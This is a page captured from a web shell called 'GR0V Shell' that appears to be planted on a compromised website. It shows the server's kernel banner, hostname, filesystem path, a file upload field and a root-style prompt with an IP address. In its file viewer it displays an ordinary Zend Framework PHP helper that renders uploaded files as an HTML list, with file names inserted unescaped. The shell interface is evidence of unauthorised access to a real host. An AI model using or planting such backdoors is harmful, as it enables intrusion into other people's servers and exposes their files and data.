? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/promice/Admin/src/QuPlupload/View/Helper/
File Upload :
Current File : /home/admin/public_html/old/promice/Admin/src/QuPlupload/View/Helper/PluploadHelpLoad.php

<?php
/**
 * @Author: Cel Ticó Petit
 * @Contact: cel@cenics.net
 * @Company: Cencis s.c.p.
 */

namespace QuPlupload\View\Helper;

use Zend\View\Helper\AbstractHelper;
use QuPlupload\Util;
use Zend\Validator\File;

class PluploadHelpLoad extends AbstractHelper
{

    /**
     * @var
     */
    protected $pluploadService;

    /**
     * @var
     */
    protected $Config;

    /**
     * @param $pluploadService
     * @param $Config
     */
    public function __construct($pluploadService,$Config)
    {
        $this->pluploadService = $pluploadService;
        $this->Config          = $Config;
    }

    /**
     * @param int $id
     * @param int $model
     * @return bool|string
     */
    public function __invoke($id,$model)
    {

        $this->pluploadService->setPluploadIdAndModelList($id,$model);

        $listDb  = $this->pluploadService->getPluploadIdAndModelList();
        $Util    = new Util();

        if(count($listDb) > 0){

            $list = '<ul>';

            foreach($listDb as $a){

                $file      = $this->Config['DirUploadAbsolute'] . '/' . $a->getName();
                $url       = $this->Config['DirUpload'] . '/'  . $a->getName();
                $urlSmall  = $this->Config['DirUpload'] . '/s' . $a->getName();
                $name      = $a->getName();
                $id_in     = $a->getIdPlupload();
                $size      = $Util->formatBytes($a->getSize());
                $ex        = strtolower(pathinfo($file, PATHINFO_EXTENSION));
                $Exists    = new File\NotExists($file);

                if($Exists->isValid($file)){


                    if($ex == 'jpg' or $ex == 'jpeg' or $ex == 'gif' or $ex == 'png'){

                        $list .= '
                        <li>
                            <a href="'.$url.'" class="img">
                                <img src="'.$urlSmall.'">
                                <div class="name">'.$name.'</div>
                                <span class="label size">'.$size.'</span>
                                <div id="'.$id_in.'" class="action"><a href="#"></a></div>
                            </a>
                        </li>';

                    }else{

                        $list .= '
                        <li>
                            <a href="'.$url.'" class="doc">
                                <span class="iconb"><span class="ex">.'.$ex.'</span></span>
                                <div class="name">'.$name.'</div>
                                 <span class="label size">'.$size.'</span>
                                <div id="'.$id_in.'" class="action"><a href="#"></a></div>
                            </a>
                        </li>';
                    }

                }
            }

            $list .= '</ul>';

            $list .= "
            <script type=\"text/javascript\">

                $('.action').click(function(){
                    $('.PluploadLoad').load('". $this->Config['UrlRemove'] ."/' + $(this).attr('id') + '/". $id ."/". $model ."');
                });

            </script>";

            return $list;

        }else{

            return false;
        }

    }
}

T1KUS90T
  root-grov@210.1.60.28:~$